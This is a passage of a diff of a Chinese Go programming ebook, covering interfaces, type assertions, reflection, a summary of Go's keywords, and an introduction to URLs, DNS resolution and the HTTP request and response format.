e.company, e.phone) //Yes you can split into 2 lines here.
|
||||
}
|
||||
|
||||
//Student实现BorrowMoney方法
|
||||
func (s *Student) BorrowMoney(amount float32) {
|
||||
s.loan += amount // (again and again and...)
|
||||
}
|
||||
|
||||
//Employee实现SpendSalary方法
|
||||
func (e *Employee) SpendSalary(amount float32) {
|
||||
e.money -= amount // More vodka please!!! Get me through the day!
|
||||
}
|
||||
|
||||
// 定义interface
|
||||
type Men interface {
|
||||
SayHi()
|
||||
Sing(lyrics string)
|
||||
Guzzle(beerStein string)
|
||||
}
|
||||
|
||||
type YoungChap interface {
|
||||
SayHi()
|
||||
Sing(song string)
|
||||
BorrowMoney(amount float32)
|
||||
}
|
||||
|
||||
type ElderlyGent interface {
|
||||
SayHi()
|
||||
Sing(song string)
|
||||
SpendSalary(amount float32)
|
||||
}
|
||||
|
||||
通过上面的代码我们可以知道,interface可以被任意的对象实现。我们看到上面的Men interface被Human、Student和Employee实现。同理,一个对象可以实现任意多个interface,例如上面的Student实现了Men和YonggChap两个interface。
|
||||
|
||||
最后,任意的类型都实现了空interface(我们这样定义:interface{}),也就是包含0个method的interface。
|
||||
|
||||
### interface值
|
||||
那么interface里面到底能存什么值呢?如果我们定义了一个interface的变量,那么这个变量里面可以存实现这个interface的任意类型的对象。例如上面例子中,我们定义了一个Men interface类型的变量m,那么m里面可以存Human、Student或者Employee值。
|
||||
|
||||
因为m能够持有这三种类型的对象,所以我们可以定义一个包含Men类型元素的slice,这个slice可以被赋予实现了Men接口的任意结构的对象,这个和我们传统意义上面的slice有所不同。
|
||||
|
||||
让我们来看一下下面这个例子
|
||||
|
||||
package main
|
||||
import "fmt"
|
||||
|
||||
type Human struct {
|
||||
name string
|
||||
age int
|
||||
phone string
|
||||
}
|
||||
|
||||
type Student struct {
|
||||
Human //匿名字段
|
||||
school string
|
||||
loan float32
|
||||
}
|
||||
|
||||
type Employee struct {
|
||||
Human //匿名字段
|
||||
company string
|
||||
money float32
|
||||
}
|
||||
|
||||
//Human实现Sayhi方法
|
||||
func (h Human) SayHi() {
|
||||
fmt.Printf("Hi, I am %s you can call me on %s\n", h.name, h.phone)
|
||||
}
|
||||
|
||||
//Human实现Sing方法
|
||||
func (h Human) Sing(lyrics string) {
|
||||
fmt.Println("La la la la...", lyrics)
|
||||
}
|
||||
|
||||
//Employee重载Human的SayHi方法
|
||||
func (e Employee) SayHi() {
|
||||
fmt.Printf("Hi, I am %s, I work at %s. Call me on %s\n", e.name,
|
||||
e.company, e.phone) //Yes you can split into 2 lines here.
|
||||
}
|
||||
|
||||
// Interface Men被Human,Student和Employee实现
|
||||
// 因为这三个类型都实现了这两个方法
|
||||
type Men interface {
|
||||
SayHi()
|
||||
Sing(lyrics string)
|
||||
}
|
||||
|
||||
func main() {
|
||||
mike := Student{Human{"Mike", 25, "222-222-XXX"}, "MIT", 0.00}
|
||||
paul := Student{Human{"Paul", 26, "111-222-XXX"}, "Harvard", 100}
|
||||
sam := Employee{Human{"Sam", 36, "444-222-XXX"}, "Golang Inc.", 1000}
|
||||
Tom := Employee{Human{"Sam", 36, "444-222-XXX"}, "Things Ltd.", 5000}
|
||||
|
||||
//定义Men类型的变量i
|
||||
var i Men
|
||||
|
||||
//i能存储Student
|
||||
i = mike
|
||||
fmt.Println("This is Mike, a Student:")
|
||||
i.SayHi()
|
||||
i.Sing("November rain")
|
||||
|
||||
//i也能存储Employee
|
||||
i = Tom
|
||||
fmt.Println("This is Tom, an Employee:")
|
||||
i.SayHi()
|
||||
i.Sing("Born to be wild")
|
||||
|
||||
//定义了slice Men
|
||||
fmt.Println("Let's use a slice of Men and see what happens")
|
||||
x := make([]Men, 3)
|
||||
//T这三个都是不同类型的元素,但是他们实现了interface同一个接口
|
||||
x[0], x[1], x[2] = paul, sam, mike
|
||||
|
||||
for _, value := range x{
|
||||
value.SayHi()
|
||||
}
|
||||
}
|
||||
|
||||
通过上面的代码,你会发现interface就是一组抽象方法的集合,它必须由其他非interface类型实现,而不能自我实现, go 通过interface实现了duck-typing:即"当看到一只鸟走起来像鸭子、游泳起来像鸭子、叫起来也像鸭子,那么这只鸟就可以被称为鸭子"。
|
||||
|
||||
### 空interface
|
||||
空interface(interface{})不包含任何的method,正因为如此,所有的类型都实现了空interface。空interface对于描述起不到任何的作用(因为它不包含任何的method),但是空interface在我们需要存储任意类型的数值的时候相当有用,因为它可以存储任意类型的数值。它有点类似于C语言的void*类型。
|
||||
|
||||
// 定义a为空接口
|
||||
var a interface{}
|
||||
var i int = 5
|
||||
s := "Hello world"
|
||||
// a可以存储任意类型的数值
|
||||
a = i
|
||||
a = s
|
||||
|
||||
一个函数把interface{}作为参数,那么他可以接受任意类型的值作为参数,如果一个函数返回interface{},那么也就可以返回任意类型的值。是不是很有用啊!
|
||||
### interface函数参数
|
||||
interface的变量可以持有任意实现该interface类型的对象,这给我们编写函数(包括method)提供了一些额外的思考,我们是不是可以通过定义interface参数,让函数接受各种类型的参数。
|
||||
|
||||
举个例子:fmt.Println是我们常用的一个函数,但是你是否注意到它可以接受任意类型的数据。打开fmt的源码文件,你会看到这样一个定义:
|
||||
|
||||
type Stringer interface {
|
||||
String() string
|
||||
}
|
||||
也就是说,任何实现了String方法的类型都能作为参数被fmt.Println调用,让我们来试一试
|
||||
|
||||
package main
|
||||
import (
|
||||
"fmt"
|
||||
"strconv"
|
||||
)
|
||||
|
||||
type Human struct {
|
||||
name string
|
||||
age int
|
||||
phone string
|
||||
}
|
||||
|
||||
// 通过这个方法 Human 实现了 fmt.Stringer
|
||||
func (h Human) String() string {
|
||||
return "❰"+h.name+" - "+strconv.Itoa(h.age)+" years - ✆ " +h.phone+"❱"
|
||||
}
|
||||
|
||||
func main() {
|
||||
Bob := Human{"Bob", 39, "000-7777-XXX"}
|
||||
fmt.Println("This Human is : ", Bob)
|
||||
}
|
||||
现在我们再回顾一下前面的Box示例,你会发现Color结构也定义了一个method:String。其实这也是实现了fmt.Stringer这个interface,即如果需要某个类型能被fmt包以特殊的格式输出,你就必须实现Stringer这个接口。如果没有实现这个接口,fmt将以默认的方式输出。
|
||||
|
||||
//实现同样的功能
|
||||
fmt.Println("The biggest one is", boxes.BiggestsColor().String())
|
||||
fmt.Println("The biggest one is", boxes.BiggestsColor())
|
||||
|
||||
注:实现了error接口的对象(即实现了Error() string的对象),使用fmt输出时,会调用Error()方法,因此不必再定义String()方法了。
|
||||
### interface变量存储的类型
|
||||
|
||||
我们知道interface的变量里面可以存储任意类型的数值(该类型实现了interface)。那么我们怎么反向知道这个变量里面实际保存了的是哪个类型的对象呢?目前常用的有两种方法:
|
||||
|
||||
- Comma-ok断言
|
||||
|
||||
Go语言里面有一个语法,可以直接判断是否是该类型的变量: value, ok = element.(T),这里value就是变量的值,ok是一个bool类型,element是interface变量,T是断言的类型。
|
||||
|
||||
如果element里面确实存储了T类型的数值,那么ok返回true,否则返回false。
|
||||
|
||||
让我们通过一个例子来更加深入的理解。
|
||||
|
||||
package main
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"strconv"
|
||||
)
|
||||
|
||||
type Element interface{}
|
||||
type List [] Element
|
||||
|
||||
type Person struct {
|
||||
name string
|
||||
age int
|
||||
}
|
||||
|
||||
//定义了String方法,实现了fmt.Stringer
|
||||
func (p Person) String() string {
|
||||
return "(name: " + p.name + " - age: "+strconv.Itoa(p.age)+ " years)"
|
||||
}
|
||||
|
||||
func main() {
|
||||
list := make(List, 3)
|
||||
list[0] = 1 // an int
|
||||
list[1] = "Hello" // a string
|
||||
list[2] = Person{"Dennis", 70}
|
||||
|
||||
for index, element := range list {
|
||||
if value, ok := element.(int); ok {
|
||||
fmt.Printf("list[%d] is an int and its value is %d\n", index, value)
|
||||
} else if value, ok := element.(string); ok {
|
||||
fmt.Printf("list[%d] is a string and its value is %s\n", index, value)
|
||||
} else if value, ok := element.(Person); ok {
|
||||
fmt.Printf("list[%d] is a Person and its value is %s\n", index, value)
|
||||
} else {
|
||||
fmt.Println("list[%d] is of a different type", index)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
是不是很简单啊,同时你是否注意到了多个ifs里面,还记得我前面介绍流程里面讲过,if里面允许初始化变量。
|
||||
|
||||
也许你注意到了,我们断言的类型越多,那么ifelse也就越多,所以才引出了下面要介绍的switch。
|
||||
- switch测试
|
||||
|
||||
最好的讲解就是代码例子,现在让我们重写上面的这个实现
|
||||
|
||||
package main
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"strconv"
|
||||
)
|
||||
|
||||
type Element interface{}
|
||||
type List [] Element
|
||||
|
||||
type Person struct {
|
||||
name string
|
||||
age int
|
||||
}
|
||||
|
||||
//打印
|
||||
func (p Person) String() string {
|
||||
return "(name: " + p.name + " - age: "+strconv.Itoa(p.age)+ " years)"
|
||||
}
|
||||
|
||||
func main() {
|
||||
list := make(List, 3)
|
||||
list[0] = 1 //an int
|
||||
list[1] = "Hello" //a string
|
||||
list[2] = Person{"Dennis", 70}
|
||||
|
||||
for index, element := range list{
|
||||
switch value := element.(type) {
|
||||
case int:
|
||||
fmt.Printf("list[%d] is an int and its value is %d\n", index, value)
|
||||
case string:
|
||||
fmt.Printf("list[%d] is a string and its value is %s\n", index, value)
|
||||
case Person:
|
||||
fmt.Printf("list[%d] is a Person and its value is %s\n", index, value)
|
||||
default:
|
||||
fmt.Println("list[%d] is of a different type", index)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
这里有一点需要强调的是:`element.(type)`语法不能在switch外的任何逻辑里面使用,如果你要在switch外面判断一个类型就使用`comma-ok`。
|
||||
|
||||
### 嵌入interface
|
||||
Go里面真正吸引人的是他内置的逻辑语法,就像我们在学习Struct时学习的匿名字段,多么的优雅啊,那么相同的逻辑引入到interface里面,那不是更加完美了。如果一个interface1作为interface2的一个嵌入字段,那么interface2隐式的包含了interface1里面的method。
|
||||
|
||||
我们可以看到源码包container/heap里面有这样的一个定义
|
||||
|
||||
type Interface interface {
|
||||
sort.Interface //嵌入字段sort.Interface
|
||||
Push(x interface{}) //a Push method to push elements into the heap
|
||||
Pop() interface{} //a Pop elements that pops elements from the heap
|
||||
}
|
||||
|
||||
我们看到sort.Interface其实就是嵌入字段,把sort.Interface的所有method给隐式的包含进来了。也就是下面三个方法
|
||||
|
||||
type Interface interface {
|
||||
// Len is the number of elements in the collection.
|
||||
Len() int
|
||||
// Less returns whether the element with index i should sort
|
||||
// before the element with index j.
|
||||
Less(i, j int) bool
|
||||
// Swap swaps the elements with indexes i and j.
|
||||
Swap(i, j int)
|
||||
}
|
||||
|
||||
另一个例子就是io包下面的 io.ReadWriter ,他包含了io包下面的Reader和Writer两个interface。
|
||||
|
||||
// io.ReadWriter
|
||||
type ReadWriter interface {
|
||||
Reader
|
||||
Writer
|
||||
}
|
||||
|
||||
### 反射
|
||||
Go语言实现了反射,所谓反射就是动态运行时的状态。我们一般用到的包是reflect包。如何运用reflect包,官方的这篇文章详细的讲解了reflect包的实现原理,[laws of reflection](http://golang.org/doc/articles/laws_of_reflection.html)
|
||||
|
||||
使用reflect一般分成三步,下面简要的讲解一下:要去反射是一个类型的值(这些值都实现了空interface),首先需要把它转化成reflect对象(reflect.Type或者reflect.Value,根据不同的情况调用不同的函数)。这两种获取方式如下:
|
||||
|
||||
t := reflect.TypeOf(i) //得到类型的元数据,通过t我们能获取类型定义里面的所有元素
|
||||
v := reflect.ValueOf(i) //得到实际的值,通过v我们获取存储在里面的值,还可以去改变值
|
||||
|
||||
转化为reflect对象之后我们就可以进行一些操作了,也就是将reflect对象转化成相应的值,例如
|
||||
|
||||
tag := t.Elem().Field(0).Tag //获取定义在struct里面的标签
|
||||
name := v.Elem().Field(0).String() //获取存储在第一个字段里面的值
|
||||
|
||||
获取反射值能返回相应的类型和数值
|
||||
|
||||
var x float64 = 3.4
|
||||
v := reflect.ValueOf(x)
|
||||
fmt.Println("type:", v.Type())
|
||||
fmt.Println("kind is float64:", v.Kind() == reflect.Float64)
|
||||
fmt.Println("value:", v.Float())
|
||||
|
||||
最后,反射的话,那么反射的字段必须是可修改的,我们前面学习过传值和传引用,这个里面也是一样的道理,反射的字段必须是可读写的意思是,如果下面这样写,那么会发生错误
|
||||
|
||||
var x float64 = 3.4
|
||||
v := reflect.ValueOf(x)
|
||||
v.SetFloat(7.1)
|
||||
|
||||
如果要修改相应的值,必须这样写
|
||||
|
||||
var x float64 = 3.4
|
||||
p := reflect.ValueOf(&x)
|
||||
v := p.Elem()
|
||||
v.SetFloat(7.1)
|
||||
|
||||
上面只是对反射的简单介绍,更深入的理解还需要自己在编程中不断的实践。
|
||||
|
||||
## links
|
||||
* [目录](<preface.md>)
|
||||
* 上一章: [面向对象](<02.5.md>)
|
||||
* 下一节: [并发](<02.7.md>)
|
||||
0
02.7.md → ebook/02.7.md
Executable file → Normal file
0
02.7.md → ebook/02.7.md
Executable file → Normal file
62
02.8.md → ebook/02.8.md
Executable file → Normal file
62
02.8.md → ebook/02.8.md
Executable file → Normal file
@@ -1,31 +1,31 @@
|
||||
# 2.8 总结
|
||||
|
||||
这一章我们主要介绍了Go语言的一些语法,通过语法我们可以发现Go是多么的简单,只有二十五个关键字。让我们再来回顾一下这些关键字都是用来干什么的。
|
||||
|
||||
break default func interface select
|
||||
case defer go map struct
|
||||
chan else goto package switch
|
||||
const fallthrough if range type
|
||||
continue for import return var
|
||||
|
||||
- var和const参考2.2Go语言基础里面的变量和常量申明
|
||||
- package和import已经有过短暂的接触
|
||||
- func 用于定义函数和方法
|
||||
- return 用于从函数返回
|
||||
- defer 用于类似析构函数
|
||||
- go 用于并行
|
||||
- select 用于选择不同类型的通讯
|
||||
- interface 用于定义接口,参考2.6小节
|
||||
- struct 用于定义抽象数据类型,参考2.5小节
|
||||
- break、case、continue、for、fallthrough、else、if、switch、goto、default这些参考2.3流程介绍里面
|
||||
- chan用于channel通讯
|
||||
- type用于声明自定义类型
|
||||
- map用于声明map类型数据
|
||||
- range用于读取slice、map、channel数据
|
||||
|
||||
上面这二十五个关键字记住了,那么Go你也已经差不多学会了。
|
||||
|
||||
## links
|
||||
* [目录](<preface.md>)
|
||||
* 上一节: [并发](<02.7.md>)
|
||||
* 下一章: [Web基础](<03.0.md>)
|
||||
# 2.8 总结
|
||||
|
||||
这一章我们主要介绍了Go语言的一些语法,通过语法我们可以发现Go是多么的简单,只有二十五个关键字。让我们再来回顾一下这些关键字都是用来干什么的。
|
||||
|
||||
break default func interface select
|
||||
case defer go map struct
|
||||
chan else goto package switch
|
||||
const fallthrough if range type
|
||||
continue for import return var
|
||||
|
||||
- var和const参考2.2Go语言基础里面的变量和常量申明
|
||||
- package和import已经有过短暂的接触
|
||||
- func 用于定义函数和方法
|
||||
- return 用于从函数返回
|
||||
- defer 用于类似析构函数
|
||||
- go 用于并行
|
||||
- select 用于选择不同类型的通讯
|
||||
- interface 用于定义接口,参考2.6小节
|
||||
- struct 用于定义抽象数据类型,参考2.5小节
|
||||
- break、case、continue、for、fallthrough、else、if、switch、goto、default这些参考2.3流程介绍里面
|
||||
- chan用于channel通讯
|
||||
- type用于声明自定义类型
|
||||
- map用于声明map类型数据
|
||||
- range用于读取slice、map、channel数据
|
||||
|
||||
上面这二十五个关键字记住了,那么Go你也已经差不多学会了。
|
||||
|
||||
## links
|
||||
* [目录](<preface.md>)
|
||||
* 上一节: [并发](<02.7.md>)
|
||||
* 下一章: [Web基础](<03.0.md>)
|
||||
22
03.0.md → ebook/03.0.md
Executable file → Normal file
22
03.0.md → ebook/03.0.md
Executable file → Normal file
@@ -1,11 +1,11 @@
|
||||
# 3 Web基础
|
||||
|
||||
学习基于Web的编程可能正是你读本书的原因。事实上,如何通过Go来编写Web应用也是我编写这本书的初衷。前面已经介绍过,Go目前已经拥有了成熟的Http处理包,这使得编写能做任何事情的动态Web程序易如反掌。在接下来的各章中将要介绍的内容,都是属于Web编程的范畴。本章则集中讨论一些与Web相关的概念和Go如何运行Web程序的话题。
|
||||
|
||||
## 目录
|
||||

|
||||
|
||||
## links
|
||||
* [目录](<preface.md>)
|
||||
* 上一章: [第二章总结](<02.8.md>)
|
||||
* 下一节: [web工作方式](<03.1.md>)
|
||||
# 3 Web基础
|
||||
|
||||
学习基于Web的编程可能正是你读本书的原因。事实上,如何通过Go来编写Web应用也是我编写这本书的初衷。前面已经介绍过,Go目前已经拥有了成熟的Http处理包,这使得编写能做任何事情的动态Web程序易如反掌。在接下来的各章中将要介绍的内容,都是属于Web编程的范畴。本章则集中讨论一些与Web相关的概念和Go如何运行Web程序的话题。
|
||||
|
||||
## 目录
|
||||

|
||||
|
||||
## links
|
||||
* [目录](<preface.md>)
|
||||
* 上一章: [第二章总结](<02.8.md>)
|
||||
* 下一节: [web工作方式](<03.1.md>)
|
||||
318
03.1.md → ebook/03.1.md
Executable file → Normal file
318
03.1.md → ebook/03.1.md
Executable file → Normal file
@@ -1,159 +1,159 @@
|
||||
# 3.1 Web工作方式
|
||||
|
||||
我们平时浏览网页的时候,会打开浏览器,输入网址后按下回车键,然后就会显示出你想要浏览的内容。在这个看似简单的用户行为背后,到底隐藏了些什么呢?
|
||||
|
||||
对于普通的上网过程,系统其实是这样做的:浏览器本身是一个客户端,当你输入URL的时候,首先浏览器会去请求DNS服务器,通过DNS获取相应的域名对应的IP,然后通过IP地址找到IP对应的服务器后,要求建立TCP连接,等浏览器发送完HTTP Request(请求)包后,服务器接收到请求包之后才开始处理请求包,服务器调用自身服务,返回HTTP Response(响应)包;客户端收到来自服务器的响应后开始渲染这个Response包里的主体(body),等收到全部的内容随后断开与该服务器之间的TCP连接。
|
||||
|
||||

|
||||
|
||||
图3.1 用户访问一个Web站点的过程
|
||||
|
||||
一个Web服务器也被称为HTTP服务器,它通过HTTP协议与客户端通信。这个客户端通常指的是Web浏览器(其实手机端客户端内部也是浏览器实现的)。
|
||||
|
||||
Web服务器的工作原理可以简单地归纳为:
|
||||
|
||||
- 客户机通过TCP/IP协议建立到服务器的TCP连接
|
||||
- 客户端向服务器发送HTTP协议请求包,请求服务器里的资源文档
|
||||
- 服务器向客户机发送HTTP协议应答包,如果请求的资源包含有动态语言的内容,那么服务器会调用动态语言的解释引擎负责处理“动态内容”,并将处理得到的数据返回给客户端
|
||||
- 客户机与服务器断开。由客户端解释HTML文档,在客户端屏幕上渲染图形结果
|
||||
|
||||
一个简单的HTTP事务就是这样实现的,看起来很复杂,原理其实是挺简单的。需要注意的是客户机与服务器之间的通信是非持久连接的,也就是当服务器发送了应答后就与客户机断开连接,等待下一次请求。
|
||||
|
||||
## URL和DNS解析
|
||||
我们浏览网页都是通过URL访问的,那么URL到底是怎么样的呢?
|
||||
|
||||
URL(Uniform Resource Locator)是“统一资源定位符”的英文缩写,用于描述一个网络上的资源, 基本格式如下
|
||||
|
||||
schema://host[:port#]/path/.../[?query-string][#anchor]
|
||||
scheme 指定低层使用的协议(例如:http, https, ftp)
|
||||
host HTTP服务器的IP地址或者域名
|
||||
port# HTTP服务器的默认端口是80,这种情况下端口号可以省略。如果使用了别的端口,必须指明,例如 http://www.cnblogs.com:8080/
|
||||
path 访问资源的路径
|
||||
query-string 发送给http服务器的数据
|
||||
anchor 锚
|
||||
|
||||
DNS(Domain Name System)是“域名系统”的英文缩写,是一种组织成域层次结构的计算机和网络服务命名系统,它用于TCP/IP网络,它从事将主机名或域名转换为实际IP地址的工作。DNS就是这样的一位“翻译官”,它的基本工作原理可用下图来表示。
|
||||
|
||||

|
||||
|
||||
图3.2 DNS工作原理
|
||||
|
||||
更详细的DNS解析的过程如下,这个过程有助于我们理解DNS的工作模式
|
||||
|
||||
1. 在浏览器中输入www.qq.com域名,操作系统会先检查自己本地的hosts文件是否有这个网址映射关系,如果有,就先调用这个IP地址映射,完成域名解析。
|
||||
|
||||
2. 如果hosts里没有这个域名的映射,则查找本地DNS解析器缓存,是否有这个网址映射关系,如果有,直接返回,完成域名解析。
|
||||
|
||||
3. 如果hosts与本地DNS解析器缓存都没有相应的网址映射关系,首先会找TCP/IP参数中设置的首选DNS服务器,在此我们叫它本地DNS服务器,此服务器收到查询时,如果要查询的域名,包含在本地配置区域资源中,则返回解析结果给客户机,完成域名解析,此解析具有权威性。
|
||||
|
||||
4. 如果要查询的域名,不由本地DNS服务器区域解析,但该服务器已缓存了此网址映射关系,则调用这个IP地址映射,完成域名解析,此解析不具有权威性。
|
||||
|
||||
5. 如果本地DNS服务器本地区域文件与缓存解析都失效,则根据本地DNS服务器的设置(是否设置转发器)进行查询,如果未用转发模式,本地DNS就把请求发至 “根DNS服务器”,“根DNS服务器”收到请求后会判断这个域名(.com)是谁来授权管理,并会返回一个负责该顶级域名服务器的一个IP。本地DNS服务器收到IP信息后,将会联系负责.com域的这台服务器。这台负责.com域的服务器收到请求后,如果自己无法解析,它就会找一个管理.com域的下一级DNS服务器地址(qq.com)给本地DNS服务器。当本地DNS服务器收到这个地址后,就会找qq.com域服务器,重复上面的动作,进行查询,直至找到www.qq.com主机。
|
||||
|
||||
6. 如果用的是转发模式,此DNS服务器就会把请求转发至上一级DNS服务器,由上一级服务器进行解析,上一级服务器如果不能解析,或找根DNS或把转请求转至上上级,以此循环。不管是本地DNS服务器用是是转发,还是根提示,最后都是把结果返回给本地DNS服务器,由此DNS服务器再返回给客户机。
|
||||
|
||||

|
||||
|
||||
图3.3 DNS解析的整个流程
|
||||
|
||||
> 所谓 `递归查询过程` 就是 “查询的递交者” 更替, 而 `迭代查询过程` 则是 “查询的递交者”不变。
|
||||
>
|
||||
> 举个例子来说,你想知道某个一起上法律课的女孩的电话,并且你偷偷拍了她的照片,回到寝室告诉一个很仗义的哥们儿,这个哥们儿二话没说,拍着胸脯告诉你,甭急,我替你查(此处完成了一次递归查询,即,问询者的角色更替)。然后他拿着照片问了学院大四学长,学长告诉他,这姑娘是xx系的;然后这哥们儿马不停蹄又问了xx系的办公室主任助理同学,助理同学说是xx系yy班的,然后很仗义的哥们儿去xx系yy班的班长那里取到了该女孩儿电话。(此处完成若干次迭代查询,即,问询者角色不变,但反复更替问询对象)最后,他把号码交到了你手里。完成整个查询过程。
|
||||
|
||||
通过上面的步骤,我们最后获取的是IP地址,也就是浏览器最后发起请求的时候是基于IP来和服务器做信息交互的。
|
||||
|
||||
## HTTP协议详解
|
||||
|
||||
HTTP协议是Web工作的核心,所以要了解清楚Web的工作方式就需要详细的了解清楚HTTP是怎么样工作的。
|
||||
|
||||
HTTP是一种让Web服务器与浏览器(客户端)通过Internet发送与接收数据的协议,它建立在TCP协议之上,一般采用TCP的80端口。它是一个请求、响应协议--客户端发出一个请求,服务器响应这个请求。在HTTP中,客户端总是通过建立一个连接与发送一个HTTP请求来发起一个事务。服务器不能主动去与客户端联系,也不能给客户端发出一个回调连接。客户端与服务器端都可以提前中断一个连接。例如,当浏览器下载一个文件时,你可以通过点击“停止”键来中断文件的下载,关闭与服务器的HTTP连接。
|
||||
|
||||
HTTP协议是无状态的,同一个客户端的这次请求和上次请求是没有对应关系,对HTTP服务器来说,它并不知道这两个请求是否来自同一个客户端。为了解决这个问题, Web程序引入了Cookie机制来维护连接的可持续状态。
|
||||
|
||||
>HTTP协议是建立在TCP协议之上的,因此TCP攻击一样会影响HTTP的通讯,例如比较常见的一些攻击:SYN Flood是当前最流行的DoS(拒绝服务攻击)与DdoS(分布式拒绝服务攻击)的方式之一,这是一种利用TCP协议缺陷,发送大量伪造的TCP连接请求,从而使得被攻击方资源耗尽(CPU满负荷或内存不足)的攻击方式。
|
||||
|
||||
### HTTP请求包(浏览器信息)
|
||||
|
||||
我们先来看看Request包的结构, Request包分为3部分,第一部分叫Request line(请求行), 第二部分叫Request header(请求头),第三部分是body(主体)。header和body之间有个空行,请求包的例子所示:
|
||||
|
||||
GET /domains/example/ HTTP/1.1 //请求行: 请求方法 请求URI HTTP协议/协议版本
|
||||
Host:www.iana.org //服务端的主机名
|
||||
User-Agent:Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.4 (KHTML, like Gecko) Chrome/22.0.1229.94 Safari/537.4 //浏览器信息
|
||||
Accept:text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 //客户端能接收的mine
|
||||
Accept-Encoding:gzip,deflate,sdch //是否支持流压缩
|
||||
Accept-Charset:UTF-8,*;q=0.5 //客户端字符编码集
|
||||
//空行,用于分割请求头和消息体
|
||||
//消息体,请求资源参数,例如POST传递的参数
|
||||
|
||||
我们通过fiddler抓包可以看到如下请求信息
|
||||
|
||||

|
||||
|
||||
图3.4 fiddler抓取的GET信息
|
||||
|
||||

|
||||
|
||||
图3.5 fiddler抓取的POST信息
|
||||
|
||||
**我们可以看到GET请求消息体为空,POST请求带有消息体**。
|
||||
|
||||
HTTP协议定义了很多与服务器交互的请求方法,最基本的有4种,分别是GET,POST,PUT,DELETE. 一个URL地址用于描述一个网络上的资源,而HTTP中的GET, POST, PUT, DELETE就对应着对这个资源的查,改,增,删4个操作。 我们最常见的就是GET和POST了。GET一般用于获取/查询资源信息,而POST一般用于更新资源信息.
|
||||
我们看看GET和POST的区别
|
||||
1. GET提交的数据会放在URL之后,以?分割URL和传输数据,参数之间以&相连,如EditPosts.aspx?name=test1&id=123456. POST方法是把提交的数据放在HTTP包的Body中.
|
||||
2. GET提交的数据大小有限制(因为浏览器对URL的长度有限制),而POST方法提交的数据没有限制.
|
||||
3. GET方式提交数据,会带来安全问题,比如一个登录页面,通过GET方式提交数据时,用户名和密码将出现在URL上,如果页面可以被缓存或者其他人可以访问这台机器,就可以从历史记录获得该用户的账号和密码。
|
||||
|
||||
### HTTP响应包(服务器信息)
|
||||
我们再来看看HTTP的response包,他的结构如下:
|
||||
|
||||
HTTP/1.1 200 OK //状态行
|
||||
Server: nginx/1.0.8 //服务器使用的WEB软件名及版本
|
||||
Date:Date: Tue, 30 Oct 2012 04:14:25 GMT //发送时间
|
||||
Content-Type: text/html //服务器发送信息的类型
|
||||
Transfer-Encoding: chunked //表示发送HTTP包是分段发的
|
||||
Connection: keep-alive //保持连接状态
|
||||
Content-Length: 90 //主体内容长度
|
||||
//空行 用来分割消息头和主体
|
||||
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"... //消息体
|
||||
|
||||
Response包中的第一行叫做状态行,由HTTP协议版本号, 状态码, 状态消息 三部分组成。
|
||||
|
||||
状态码用来告诉HTTP客户端,HTTP服务器是否产生了预期的Response。HTTP/1.1协议中定义了5类状态码, 状态码由三位数字组成,第一个数字定义了响应的类别
|
||||
|
||||
- 1XX 提示信息 - 表示请求已被成功接收,继续处理
|
||||
- 2XX 成功 - 表示请求已被成功接收,理解,接受
|
||||
- 3XX 重定向 - 要完成请求必须进行更进一步的处理
|
||||
- 4XX 客户端错误 - 请求有语法错误或请求无法实现
|
||||
- 5XX 服务器端错误 - 服务器未能实现合法的请求
|
||||
|
||||
我们看下面这个图展示了详细的返回信息,左边可以看到有很多的资源返回码,200是常用的,表示正常信息,302表示跳转。response header里面展示了详细的信息。
|
||||
|
||||

|
||||
|
||||
图3.6 访问一次网站的全部请求信息
|
||||
|
||||
### HTTP协议是无状态的和Connection: keep-alive的区别
|
||||
无状态是指协议对于事务处理没有记忆能力,服务器不知道客户端是什么状态。从另一方面讲,打开一个服务器上的网页和你之前打开这个服务器上的网页之间没有任何联系。
|
||||
|
||||
HTTP是一个无状态的面向连接的协议,无状态不代表HTTP不能保持TCP连接,更不能代表HTTP使用的是UDP协议(面对无连接)。
|
||||
|
||||
从HTTP/1.1起,默认都开启了Keep-Alive保持连接特性,简单地说,当一个网页打开完成后,客户端和服务器之间用于传输HTTP数据的TCP连接不会关闭,如果客户端再次访问这个服务器上的网页,会继续使用这一条已经建立的TCP连接。
|
||||
|
||||
Keep-Alive不会永久保持连接,它有一个保持时间,可以在不同服务器软件(如Apache)中设置这个时间
|
||||
|
||||
## 请求实例
|
||||
|
||||

|
||||
|
||||
图3.7 一次请求的request和response
|
||||
|
||||
上面这张图我们可以了解到整个的通讯过程,同时细心的读者是否注意到了一点,一个URL请求但是左边栏里面为什么会有那么多的资源请求(这些都是静态文件,go对于静态文件有专门的处理方式)。
|
||||
|
||||
这个就是浏览器的一个功能,第一次请求url,服务器端返回的是html页面,然后浏览器开始渲染HTML:当解析到HTML DOM里面的图片连接,css脚本和js脚本的链接,浏览器就会自动发起一个请求静态资源的HTTP请求,获取相对应的静态资源,然后浏览器就会渲染出来,最终将所有资源整合、渲染,完整展现在我们面前的屏幕上。
|
||||
|
||||
>网页优化方面有一项措施是减少HTTP请求次数,就是把尽量多的css和js资源合并在一起,目的是尽量减少网页请求静态资源的次数,提高网页加载速度,同时减缓服务器的压力。
|
||||
|
||||
## links
|
||||
* [目录](<preface.md>)
|
||||
* 上一节: [Web基础](<03.0.md>)
|
||||
* 下一节: [GO搭建一个web服务器](<03.2.md>)
|
||||
# 3.1 Web工作方式
|
||||
|
||||
我们平时浏览网页的时候,会打开浏览器,输入网址后按下回车键,然后就会显示出你想要浏览的内容。在这个看似简单的用户行为背后,到底隐藏了些什么呢?
|
||||
|
||||
对于普通的上网过程,系统其实是这样做的:浏览器本身是一个客户端,当你输入URL的时候,首先浏览器会去请求DNS服务器,通过DNS获取相应的域名对应的IP,然后通过IP地址找到IP对应的服务器后,要求建立TCP连接,等浏览器发送完HTTP Request(请求)包后,服务器接收到请求包之后才开始处理请求包,服务器调用自身服务,返回HTTP Response(响应)包;客户端收到来自服务器的响应后开始渲染这个Response包里的主体(body),等收到全部的内容随后断开与该服务器之间的TCP连接。
|
||||
|
||||

|
||||
|
||||
图3.1 用户访问一个Web站点的过程
|
||||
|
||||
